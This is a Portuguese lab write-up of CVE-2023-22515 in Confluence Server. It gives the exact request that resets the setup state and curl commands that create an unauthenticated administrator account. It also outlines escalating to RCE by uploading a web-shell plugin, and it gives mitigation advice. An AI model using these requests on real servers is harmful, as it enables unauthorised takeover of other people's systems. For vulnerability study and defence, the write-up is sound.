
Análise detalhada e exploit de prova de conceito para CVE-2023-22515, uma vulnerabilidade crítica de controle de acesso quebrado no Atlassian Confluence Data Center e Server, permitindo a criação não autenticada de contas de administrador e potencial execução remota de código.
A CVE-2023-22515 é uma vulnerabilidade crítica de Broken Access Control (Controle de Acesso Quebrado) encontrada nos produtos Atlassian Confluence Data Center e Server. Um atacante não autenticado pode reativar remotamente o processo de configuração inicial do servidor e, a partir disso, criar uma nova conta de administrador e assumir o controle total do sistema.
O núcleo desta vulnerabilidade está na validação insuficiente entre o mecanismo de ligação de parâmetros (parameter binding) do framework XWork2 e a lógica de processamento de ações (Action) do Confluence.
O atacante pode manipular o valor de bootstrapStatusProvider.applicationConfig.setupComplete para false por meio de parâmetros de URL. Essa propriedade é um flag importante que determina se o Confluence concluiu a instalação e a configuração.
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
Ao enviar essa solicitação, o servidor passa a reconhecer, em memória, que a configuração não foi concluída. Isso não altera o arquivo de configuração persistente (confluence.cfg.xml), mas altera o estado em tempo de execução, permitindo contornar o controle de acesso.
/server-info.action enquanto envia o parâmetro bootstrapStatusProvider.applicationConfig.setupComplete=false./setup/* são removidas./setup/setupadministrator.action e cria uma nova conta de administrador de sistema (System Administrator).Utilizamos Docker para implantar o Confluence Server na versão vulnerável (8.5.1).
atlassian/confluence-server:8.5.1docker-compose.yml (resumo):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB 설정 ...
Para evitar problemas de dependências do Python, escrevemos e executamos um PoC como script Bash usando curl.
Fluxo do Exploit:
Redefinir o status da configuração:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
Resultado: Foi retornada uma resposta de redirecionamento HTTP 302, confirmando que o status de configuração concluída foi liberado internamente.
Criar administrador:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
Resultado: Por meio dessa solicitação, tentamos criar a conta hacked_admin, e posteriormente foi possível acessar a página de login com essa conta.
Atualize imediatamente para a versão mais recente fornecida pela Atlassian.
Se o patch não for possível, bloqueie o acesso aos endpoints /setup/* no nível de rede (balanceador de carga, WAF, proxy reverso, etc.).
/setup/*Um atacante que obtém privilégios de administrador por meio da CVE-2023-22515 pode avançar para a execução de comandos do sistema (RCE).
O Confluence oferece aos administradores a permissão de instalar plugins (add-ons). O atacante pode explorar isso para fazer upload de um plugin malicioso contendo funcionalidades de web shell, obtendo assim o controle sobre o sistema operacional do servidor.
/setup/finishsetup.action (exigindo bypass de licença) ou explore os menus administrativos acessíveis usando a sessão existente.Confluence Administration -> Manage Apps -> Upload App.jar contendo classes Java maliciosas/plugins/servlet/webshell?cmd=id) para executar comandos do sistemaEste ambiente de laboratório (Docker) não possui uma licença válida do Confluence, portanto não é possível concluir a etapa de configuração inicial (Setup). Assim, a solicitação de criação da conta de administrador foi bem-sucedida (redirecionamento 302), mas o acesso posterior ao menu de plugins e a execução real de RCE foram limitados. Em um ambiente de produção real, a licença está registrada, portanto o RCE pode ser executado imediatamente, sem essas restrições.
A CVE-2023-22515 é uma vulnerabilidade extremamente perigosa que permite obter privilégios de administrador sem autenticação. O ataque é possível apenas com a manipulação de parâmetros de URL, tornando a dificuldade do ataque muito baixa. Portanto, organizações que utilizam as versões afetadas devem aplicar imediatamente patches ou medidas de mitigação.